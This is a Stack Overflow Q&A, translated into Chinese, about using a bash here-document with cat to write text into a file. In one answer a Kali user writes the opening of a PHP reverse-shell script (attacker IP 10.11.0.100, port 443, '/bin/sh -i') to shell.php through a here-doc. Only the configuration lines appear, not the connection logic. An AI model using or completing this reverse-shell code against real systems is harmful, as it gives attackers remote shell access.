【问题标题】:Cat 'here document' text block into new file [duplicate]将“此处文档”文本块放入新文件中[重复]
【发布时间】:2018-01-12 21:22:32
【问题描述】:

我正在尝试从我的脚本中随机选择并将其放入 /tmp/test.php 文件中的一个新文件中,例如。但它不会创建文件。我认为使用 EOF 会选择我需要的内容并对其进行处理,但它似乎不起作用。

#!/bin/bash

cat /tmp/test.php << \EOF

<?php
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

echo script continues 
....
....
Continues
etc

现在我应该可以进入 tmp 并查看我的 test.php 我做错了什么

【问题讨论】:

  • cat /tmp/test.php 替换为cat &gt;/tmp/test.php

标签: linux bash


【解决方案1】:

这行得通:

cat > /tmp/test.php << EOF

<?php 
test, you are awesome, haha.
test 2, this is some php, not finished,.
?> 
EOF

注意事项:

  1. 使用&lt;&lt; EOF,而不是&lt;&lt; \EOF
  2. 使用cat &gt; /tmp/text.php,而不是cat /tmp/text.php

【讨论】:

  • 在 here-doc 中尝试使用 $something,您会看到 EOF 应该被转义。
  • @BenjaminW.,谢谢,我不知道。然而,在测试它时,似乎\EOF 是不太通用的用法,因为在 here 文档 中包含变量的值可能是故意的,并且可以在没有 @ 的情况下打印变量名987654330@ 在ad hoc 的基础上,eg \$PATH was set to $PATH。当 here 文档 包含的变量名(不应被解释)多于变量值时,\EOF 的最佳用法似乎是简写。
  • 我不太了解一般情况;如果您知道您想要逐字记录 here-doc 中的所有内容,则可以转义标记而不是转义 here-doc 中的所有内容,并且如果您想要扩展某些内容,则不要转义分隔符并确保正确转义在此处的文档中。什么最方便。我只是指出它应该被转义,因为在自我回答中给出的扩展示例中,有一些变量应该被扩展。
  • @BenjaminW.,您对“自我回答中给出的扩展示例”的引用可以解决问题。我只引用了 OP 的原始问题(here 文档 中没有变量),并且在您引用它之前不知道Petr's answer
【解决方案2】:

您应该尝试使用 sed 或 awk 工具从文件中剪切文本,特别是如果您希望从 10 行到 20 行。据我所知 cat 命令是唯一打开的程序或浏览器。

您可以指定两个正则表达式作为范围。假设一个“#”开始一个评论,你可以搜索一个关键字,删除所有的 cmets,直到你看到第二个关键字。在这种情况下,两个关键字是“start”和“stop”:

sed '/start/,/stop/s/#.*//

您可以在 linux 命令行 here 上了解有关使用 sed 编辑器的更多信息

【讨论】:

【解决方案3】:

这样就可以了,几乎 :) 当我使用 cat > /tmp/test.php

cat > /tmp/shell.php << EOF

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.11.0.100';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF

输出如下:

<?php

set_time_limit (0);
 = "1.0";
 = '10.11.0.100';  // CHANGE THIS
 = 443;       // CHANGE THIS
 = 1400;
 = null;
 = null;
 = 'uname -a; w; id; /bin/sh -i';
 = 0;
 = 0;

终端给了我:

 root@kali:~/My_Scripts# ./shell_pipe.bs 
./shell_pipe.bs: line 21: //: Is a directory
./shell_pipe.bs: line 22: //: Is a directory
./shell_pipe.bs: line 23: //: Is a directory
./shell_pipe.bs: line 25: //: Is a directory
./shell_pipe.bs: line 26: //: Is a directory
./shell_pipe.bs: line 27: syntax error near unexpected token `'pcntl_fork''
./shell_pipe.bs: line 27: `if (function_exists('pcntl_fork')) {'

编辑,对于外壳:

cat > /root/Desktop/shell.php <<'EOF'

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '$i';  // CHANGE THIS
$port = 443;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
EOF
//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...

【讨论】:

  • 您必须引用 EOF 标记以防止插值:'EOF'。大约二十分钟前,stackoverflow.com/questions/45514670/… 已经有人问过这个问题;)
  • 所以这似乎运作良好,它确实复制了我需要的一切。但仍然在终端中出现错误。不知道为什么抱怨。我有一些目录,例如://在EOF结束后,在下面,这就是错误
  • shell_pipe.bs 中有什么内容?
  • 所以我将它作为编辑发布在我的答案中。它基本上抱怨你可以说的 php 目录或评论部分 //, //, //
  • 这会将您在 here-doc 中的内容写入文件,但其余部分(// 注释行)由 Bash 解释并且不被视为 cmets; Bash cmets 以 # 开头。不过,我不完全理解你在尝试什么,你应该编辑问题而不是发布你知道不起作用的答案。
猜你喜欢
  • 2017-08-11
  • 2014-02-28
  • 2016-04-04
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2021-01-22
  • 2011-03-04
相关资源
最近更新 更多